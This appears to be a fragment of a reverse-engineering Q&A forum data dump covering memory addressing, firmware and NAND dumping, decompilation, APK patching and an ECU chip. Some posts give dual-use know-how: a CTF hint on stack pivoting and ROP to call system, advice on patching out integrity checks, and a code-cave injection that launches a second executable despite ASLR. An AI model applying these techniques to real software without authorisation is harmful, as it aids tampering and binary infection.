Title="Why there are only 8 hexa memory digits while my RAM is 16G" Tags="|disassembly|assembly|radare2|memory|disassemblers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25036" PostTypeId="2" ParentId="25035" CreationDate="2020-05-16T14:50:13.687" Score="6" Body="&lt;p&gt;Your physical RAM size doesn't say too much about what your memory addresses will look like. What matters is your system &lt;em&gt;architecture&lt;/em&gt; and &lt;em&gt;how many bits&lt;/em&gt; there are (usually 64 or 32). Virtual memory also makes RAM insignificant; each process has &lt;a href=&quot;https://en.wikipedia.org/wiki/Virtual_address_space&quot; rel=&quot;nofollow noreferrer&quot;&gt;virtual memory space&lt;/a&gt; covering possibly the entire address space but mapped to a limited section of physical memory. Even on a 64-bit system where there are theoretically 2^64 bytes (an unrealistic 16 exibytes) of mappable addresses, you can still have a system with under 1GB of RAM and still have access to the virtual address space (which is much less than 2^64 in reality but still possibly larger than your physical RAM).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are seeing in radare (0x004011d0) are addresses within the executable itself, and are still 64-bit but leading zeros are often omitted in various tools for convenience (actual address is 0x00000000004011d0). While they are mapped into the process's virtual memory table, those addresses are actually burned into the executable at compile time (unless it is compiled with PIE). Those addresses are usually around that general area and are typically the lowest section of virtual memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see your 64-bit address space at work, look at pointers in registers and on the stack (or the stack addresses themselves), which will be much larger.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastEditorUserId="30759" LastEditDate="2020-05-26T23:30:16.647" LastActivityDate="2020-05-26T23:30:16.647" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25037" PostTypeId="2" ParentId="19469" CreationDate="2020-05-16T17:23:56.317" Score="0" Body="&lt;p&gt;A simpler way, since you have the firmware image, is to &lt;code&gt;chroot&lt;/code&gt; into the device's root file system (e.g. &lt;code&gt;# chroot path/to/firmware /bin/sh&lt;/code&gt;). This will alleviate any dynamic loading issues that may be tedious to fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only requirement is that you have the qemu binary installed for the correct architecture.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastActivityDate="2020-05-16T17:23:56.317" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25039" PostTypeId="1" AcceptedAnswerId="25044" CreationDate="2020-05-16T21:02:29.717" Score="0" ViewCount="1408" Body="&lt;p&gt;I'm looking into a way to generate pseudo-code from snippet of assembly,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;let's assume I have this ASM&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    push    rbp&#xA;    mov     rbp, rsp&#xA;    mov     DWORD PTR [rbp-4], edi&#xA;    mov     DWORD PTR [rbp-8], esi&#xA;    mov     edx, DWORD PTR [rbp-4]&#xA;    mov     eax, DWORD PTR [rbp-8]&#xA;    add     eax, edx&#xA;    pop     rbp&#xA;    ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is there is a way to turn it into pseudo-code using the available decompilers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if there is any exported API?&lt;/p&gt;&#xA;" OwnerUserId="20481" LastActivityDate="2020-05-19T19:36:39.440" Title="asm snippet to pseudo-code" Tags="|ida|decompilation|radare2|ghidra|hexrays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25041" PostTypeId="1" CreationDate="2020-05-16T23:57:29.593" Score="3" ViewCount="1059" Body="&lt;p&gt;I am trying to reverse engineer a router's firmware. The device has a NAND chip, and has a cripled version of BusyBox v1.14.1. &lt;code&gt;nanddump&lt;/code&gt; command exists but with intresting parameters, as I wasn't able to find any info on Google. Also &lt;code&gt;nandwrite&lt;/code&gt; command doesn't exist, instead they wrote a different tool called &lt;code&gt;psi&lt;/code&gt; to write to the chip. Here are the outputs of their usage with compare to the original counterparts.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ nanddump&#xA;Usage: nanddump mtdX [noswap || swap] [nospare || spare] sector_count&#xA;        sector_count can be provided as &quot;0&quot; which means the whole partition&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, what are these swap and spare options for? When I try to dump with &lt;code&gt;swap&lt;/code&gt;or &lt;code&gt;noswap&lt;/code&gt; I got the same file when I use the command &lt;code&gt;cat /dev/mtd* &amp;gt; mtd*.bin&lt;/code&gt;. However using &lt;code&gt;spare&lt;/code&gt; parameter gives a slightly bigger file. Here is what I got from full fledged busybox&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ nanddump&#xA;BusyBox v1.21.1 (2013-07-08 10:56:01 CDT) multi-call binary.&#xA;&#xA;Usage: nanddump [-o] [-b] [-s ADDR] [-f FILE] MTD_DEVICE&#xA;&#xA;Dump the specified MTD device&#xA;&#xA;        -o      Dump oob data&#xA;        -b      Omit bad block from the dump&#xA;        -s ADDR Start address&#xA;        -l LEN  Length&#xA;        -f FILE Dump to file ('-' for stdout)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And for the other tool, &lt;code&gt;psi&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ psi&#xA;usage: psi -o &amp;lt;command&amp;gt; -t &amp;lt;configtype&amp;gt; -f &amp;lt;filename|env.var.name&amp;gt; -s &amp;lt;flashsize&amp;gt; -r &amp;lt;rebootflag&amp;gt;&#xA;supported commands: &amp;lt;read&amp;gt; &amp;lt;write&amp;gt; &amp;lt;erase&amp;gt;&#xA;supported config types: &amp;lt;asd&amp;gt; &amp;lt;cfg&amp;gt; &amp;lt;env&amp;gt; &amp;lt;flash&amp;gt; &amp;lt;firmware&amp;gt;&#xA;supported reboot flags: &amp;lt;yes&amp;gt; &amp;lt;no&amp;gt;&#xA;Note: -s parameter is for flash dump/undump only&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems like this tool reads and writes at the same time. Well this is hard to figure out as I wasn't able to use it to read mtd partitions, and it doesn't let firmware partition to be read. It only writes to that partition. Here is the &lt;code&gt;nandwrite&lt;/code&gt; command from busybox.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ nandwrite&#xA;BusyBox v1.21.1 (2013-07-08 10:56:01 CDT) multi-call binary.&#xA;&#xA;Usage: nandwrite [-p] [-s ADDR] MTD_DEVICE [FILE]&#xA;&#xA;Write to the specified MTD device&#xA;&#xA;        -p      Pad to page size&#xA;        -s ADDR Start address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I believe &lt;code&gt;flashsize&lt;/code&gt; from &lt;code&gt;psi&lt;/code&gt;command has something to do with these two parameters. &#xA;Also here is the list of &lt;code&gt;mtd&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat /proc/mtd&#xA;dev:    size   erasesize  name&#xA;mtd0: 01000000 00004000 &quot;RootFS&quot;&#xA;mtd1: 08000000 00020000 &quot;FlashAll&quot;&#xA;mtd2: 00020000 00020000 &quot;Bootloader&quot;&#xA;mtd3: 00220000 00020000 &quot;BootloaderConfig&quot;&#xA;mtd4: 00220000 00020000 &quot;Config&quot;&#xA;mtd5: 00220000 00020000 &quot;ASD&quot;&#xA;mtd6: 02200000 00020000 &quot;Kernel&quot;&#xA;mtd7: 02200000 00020000 &quot;KernelBackup&quot;&#xA;mtd8: 02e60000 00020000 &quot;disk&quot;&#xA;mtd9: 00220000 00020000 &quot;edr&quot;&#xA;mtd10: 00500000 00020000 &quot;bbt&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Custom &lt;code&gt;nanddump&lt;/code&gt; throws an error while reading &lt;code&gt;RootFS&lt;/code&gt;. These are all I got for now.&lt;/p&gt;&#xA;" OwnerUserId="29934" LastActivityDate="2020-10-14T13:00:30.063" Title="Custom nanddump and nandwrite tools" Tags="|firmware|dumping|memory-dump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25042" PostTypeId="2" ParentId="22998" CreationDate="2020-05-17T01:14:41.107" Score="2" Body="&lt;p&gt;I'm not sure how much of a spoiler you want, so I'll keep it fairly short for now.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The buffer is too short&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your main problem is somewhat a hint towards the solution. The logic is, if your buffer is too small, then make a new one that can fit your entire payload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By this, I mean you need to set up a stack pivot. A stack pivot allows you to move the stack frame somewhere else where there is more room, where you'll set up your full ROP chain(s). You can pivot to somewhere else on the stack, the heap, or even in the executable's read-write sections. A good choice for this is often the executable's &lt;code&gt;.data&lt;/code&gt; or &lt;code&gt;.bss&lt;/code&gt; segment, but find an offset within where nothing critical is overwritten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In many cases, this can be achieved using a gadget that manipulates the stack pointer (e.g. &lt;code&gt;pop esp&lt;/code&gt;, &lt;code&gt;sub esp, 0x28&lt;/code&gt;, &lt;code&gt;mov esp, edi&lt;/code&gt; etc.). However, in this particular program, there's an instruction that is already used that can serve as a gadget for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also need to write to your new stack location. The program already has a function imported that you can use for this. Then, use the pieces you already figured out (libc leak, call &lt;code&gt;system&lt;/code&gt;, etc.) can be put in place to complete the challenge.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastActivityDate="2020-05-17T01:14:41.107" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25043" PostTypeId="2" ParentId="25030" CreationDate="2020-05-17T02:55:22.007" Score="3" Body="&lt;p&gt;Kevin,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ls&lt;/code&gt; comes in coreutils. The best way to experiment with these programs is to download and manually build the binaries (in this way you can give your favorite options like -g, -O3 during compilation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, coming back to your question, assuming you want to decompile /usr/bin/ls (that's what I get from your comments on Pawel's answer), then open ghidra gui, analyse the binary, click on file -&gt; export program -&gt; and export as a C/C++ file.&lt;/p&gt;&#xA;" OwnerUserId="27674" LastActivityDate="2020-05-17T02:55:22.007" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25044" PostTypeId="2" ParentId="25039" CreationDate="2020-05-17T10:59:20.693" Score="2" Body="&lt;p&gt;You can take the instructions, assemble them into hex values, for example by using: &lt;a href=&quot;https://defuse.ca/online-x86-assembler.htm#disassembly&quot; rel=&quot;nofollow noreferrer&quot;&gt;Online disassembler&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you get the byte representation:&#xA;&lt;code&gt;\x55\x48\x89\xE5\x89\x7D\xFC\x89\x75\xF8\x8B\x55\xFC\x8B\x45\xF8\x01\xD0\x5D\xC3&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this, you can patch bytes in the binary, and then use the normal decompile functionality in &lt;code&gt;Ghidra&lt;/code&gt;/&lt;code&gt;Ida&lt;/code&gt; on the patched area.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastEditorUserId="31278" LastEditDate="2020-05-17T12:43:58.550" LastActivityDate="2020-05-17T12:43:58.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25045" PostTypeId="2" ParentId="25041" CreationDate="2020-05-17T11:02:43.967" Score="2" Body="&lt;p&gt;Don’t know what swap is about, but &lt;em&gt;spare&lt;/em&gt; area, or OOB area is an additional area at the end of each page storing metadata such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bad block markers&lt;/li&gt;&#xA;&lt;li&gt;ECC (error checking and correcting) code&lt;/li&gt;&#xA;&lt;li&gt;custom data which may be used by the system &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It seems the &lt;code&gt;spare&lt;/code&gt; option enables dumping it which is why the dump is slightly bigger. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info about NAND flash organization see &lt;a href=&quot;https://www2.lauterbach.com/pdf/nandflash.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this nice document&lt;/a&gt; from Lauterbach&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2020-05-17T11:08:00.280" LastActivityDate="2020-05-17T11:08:00.280" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25046" PostTypeId="2" ParentId="10836" CreationDate="2020-05-17T19:13:20.843" Score="1" Body="&lt;p&gt;Place a read breakpoint on the memory you patched to find out what instructions are accessing it, that should lead you to some sort of checksum function or comparison to the file on disk.  Then you can patch this check as well.&lt;/p&gt;&#xA;" OwnerUserId="24265" LastActivityDate="2020-05-17T19:13:20.843" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25047" PostTypeId="2" ParentId="17062" CreationDate="2020-05-17T19:20:51.897" Score="1" Body="&lt;p&gt;By declaring &lt;code&gt;d&lt;/code&gt; inside main() it is a local scope variable, which exists on the stack and is therefore dynamic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you declare this pointer outside of main, it will be a global variable and it will have the same address every time, as long as there is know memory randomization provided as security measure of the OS.&lt;/p&gt;&#xA;" OwnerUserId="24265" LastActivityDate="2020-05-17T19:20:51.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25048" PostTypeId="1" CreationDate="2020-05-18T00:02:54.587" Score="3" ViewCount="629" Body="&lt;p&gt;I have a Toyota ECU from 2005 with an NEC 76F0004GD micro controller on it, I have already read the full 512k dump from the chip using a K-Tag. However, when I tried to put it into IDA, there weren't any options for this architecture! I checked Ghidra as well, no luck. I don't have a problem adding a new processor to IDA using the SDK, but I can't seem to find ANY information about this chip online! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any clues?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zephurah&lt;/p&gt;&#xA;" OwnerUserId="30611" LastActivityDate="2022-11-01T18:37:35.620" Title="NEC 76F004GD Disassembly" Tags="|ida|disassembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25050" PostTypeId="1" CreationDate="2020-05-18T02:50:26.587" Score="0" ViewCount="210" Body="&lt;p&gt;I want to debug a process with gdb into Linux system, but the problem is that process pings &lt;code&gt;/dev/watchdog&lt;/code&gt; so when I tried to debug it, it stop the process for longer than the watchdog interval so the system is rebooting.&lt;/p&gt;&#xA;&lt;p&gt;One solution is to patch the binary so it will not use &lt;code&gt;/dev/watchdog&lt;/code&gt; and than reboot the system so the &amp;quot;new&amp;quot; binary will run.&lt;/p&gt;&#xA;&lt;p&gt;But sometime I can't do this solution because I don't want to reboot the system. And I don't control on system's startup script(that activate the watchdog)&lt;/p&gt;&#xA;&lt;p&gt;Is there another solution?&lt;/p&gt;&#xA;" OwnerUserId="30423" LastEditorUserId="30423" LastEditDate="2021-04-15T05:54:42.840" LastActivityDate="2021-04-15T05:54:42.840" Title="Debug process that use /dev/watchdog" Tags="|linux|gdb|dynamic-analysis|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25051" PostTypeId="2" ParentId="24994" CreationDate="2020-05-18T03:36:21.900" Score="0" Body="&lt;p&gt;In this instance, &lt;code&gt;packageInfo.signatures&lt;/code&gt; is the first signature that you find in the APK. Meaning, this is the first signature file that the Android system has read from the &lt;code&gt;META-INF/&lt;/code&gt; folder inside the APK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, what you'll need to do is unzip the APK, look inside the &lt;code&gt;META-INF/&lt;/code&gt; and grab whatever file has the extension &lt;code&gt;.RSA&lt;/code&gt; (unlikely, but it could be &lt;code&gt;.DSA&lt;/code&gt;). This essentially what the &lt;code&gt;packageInfo.signatures[0]&lt;/code&gt; is returning, with the &lt;code&gt;.toByteArray()&lt;/code&gt; making a &lt;code&gt;ByteArray&lt;/code&gt; object of the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any doubts, or are having issues further, I'd sugged using Frida to hook this function call and watch what is actually returned.&lt;/p&gt;&#xA;" OwnerUserId="8103" LastActivityDate="2020-05-18T03:36:21.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25052" PostTypeId="2" ParentId="24898" CreationDate="2020-05-18T03:38:18.810" Score="1" Body="&lt;p&gt;Replace the &lt;code&gt;iget-object&lt;/code&gt; with the opcode you'd like, then &lt;code&gt;smali&lt;/code&gt; the file back up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for your case it would be;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const-string v0, &quot;FR&quot;&#xA;&#xA;return-object v0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8103" LastActivityDate="2020-05-18T03:38:18.810" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25053" PostTypeId="1" CreationDate="2020-05-18T05:53:51.353" Score="-2" ViewCount="111" Body="&lt;p&gt;I tried to decode it by Base64 but still didn't understand the result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;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&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33257" LastEditorUserId="245" LastEditDate="2020-05-18T16:08:17.057" LastActivityDate="2020-05-18T16:08:17.057" Title="What steps needed to decode a Base64 binary?" Tags="|disassembly|" AnswerCount="1" CommentCount="2" ClosedDate="2020-06-04T12:12:04.400" ContentLicense="CC BY-SA 4.0" />
  <row Id="25054" PostTypeId="1" AcceptedAnswerId="25057" CreationDate="2020-05-18T06:46:05.910" Score="2" ViewCount="252" Body="&lt;p&gt;I'm kind of new to this sort of thing so I hope someone can help me. I'm currently trying to understand how most malwares infect other files/modify an exe. Using Visual Studio 2017 I made an exe (with c++) that only does 2 things: print &quot;Injection didn't work!&quot; and after that runs &quot;pause&gt;NUL&quot;. I compiled it in x86 Release mode. Then I made a second exe which only prints &quot;Injection worked&quot;. My main goal was to inject code into the first/target exe so that it runs the second exe first and then itself. So the final output after the injection should look something like this: &quot;Injection worked. Injection didn't work!&quot;.&#xA;My idea was to use OllyDBG. I opened the target exe and I added the following code into the code cave at the end of the code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ASCII &quot;inject.exe&quot;&#xA;PUSH 1&#xA;PUSH 008B1F7C               (Address of ASCII &quot;inject.exe&quot;)&#xA;Call WinExec&#xA;Call __security_init_cookie (This is the assembly code at the entrypoint which I overwrote with a JMP instruction to this codecave)&#xA;JMP 008B1572 (JMP back to next instruction after entrypoint)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the entrypoint looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JMP 008B1F87 (JMP to codecave)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code should execute inject.exe which is the second exe I made (and this exe is located in the same folder as the target exe). When I run this in OllyDBG it works and it gives me the desired output but as soon as I save it to an exe (Copy to exectuable -&gt; All modifications -&gt; Copy All -&gt; Save as InjectionTestPatched.exe) it won't run anymore and crashes before printing anything. I also checked the %errorlevel% after execution which was -1073741819 and not 0. I don't really understand why the code worked in OllyDBG but not when I save it as an exe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does someone know what is going on here?&#xA;(Please excuse my bad English as I'm not a native english speaker)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I think I figured out WHY it is behaving like this but I don't know how to fix it. When I debug the Patched EXE every address seems to be correct but the address to the ASCII isn't. all JMP/CALL addresses adjust accordingly to the offset but the address to the ASCII remains static (the PUSH 008B1F7C doesnt change). Could ASLR be the source of my problems? And if yes, how can I bypass this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tduYV.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tduYV.jpg&quot; alt=&quot;OllyDBG&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the address in red should point to the ASCII but it is the same as it was before (the addresses changed after the exe was made). What I don't understand is that the JMP address changed to the right address but the PUSH not. Why does that happen, how can I fix this? (EDIT2: Problem solved)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: So I figured out a way to push the ASCII address on the stack correctly everytime by loading the EIP into EAX and sub it. This seems to work beacause the ASCII address is always on the stack when I reload the code. But now I have the next problem which is that WinExec doesnt seem to work anymore after reloading. OllyDBG doesn't even recoginze this instruction anymore as it shows it as 4 individual DB lines and not as CALL WinExec. How could I solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT3: PROBLEM SOLVED! the Call for WinExec seemed to have been changed due to ASLR even tho the address is always the same. I solved it by loading the static address to EAX and then with a CALL EAX i can call a static address which is not affected by ASLR. My Injection worked now.&lt;/p&gt;&#xA;" OwnerUserId="33258" LastEditorUserId="33258" LastEditDate="2020-05-18T15:19:24.797" LastActivityDate="2020-05-18T15:20:45.790" Title="OllyDBG saved executable crashes" Tags="|ollydbg|patching|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25055" PostTypeId="2" ParentId="25048" CreationDate="2020-05-18T06:51:23.613" Score="2" Body="&lt;p&gt;The chip number is not “architecture”. You need to find out what CPU core it’s using (e.g.  V850) and look for that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be hundreds or thousands of different chips using the same instruction set, it would not make sense to list them all as separate processor entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: I could find a datasheet for a NEC &lt;strong&gt;µPD76F0018&lt;/strong&gt; which says it uses a &lt;strong&gt;V850E&lt;/strong&gt; Family core, so I suspect yours is a V850 too (E or non-E).&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2020-05-18T19:38:09.180" LastActivityDate="2020-05-18T19:38:09.180" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
